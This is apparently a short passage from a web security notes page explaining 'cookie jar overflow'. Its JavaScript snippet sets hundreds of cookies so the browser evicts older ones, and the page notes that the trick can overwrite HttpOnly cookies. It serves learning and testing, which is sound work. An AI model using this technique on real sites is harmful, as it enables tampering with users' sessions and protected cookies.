The browsers have a limit on the number of cookies that they can store for a page. Then, if for some reason you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
Notice, that third party cookies pointing to a different domain won't be overwritten.
caution
This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.
Check this in this post with a lab.
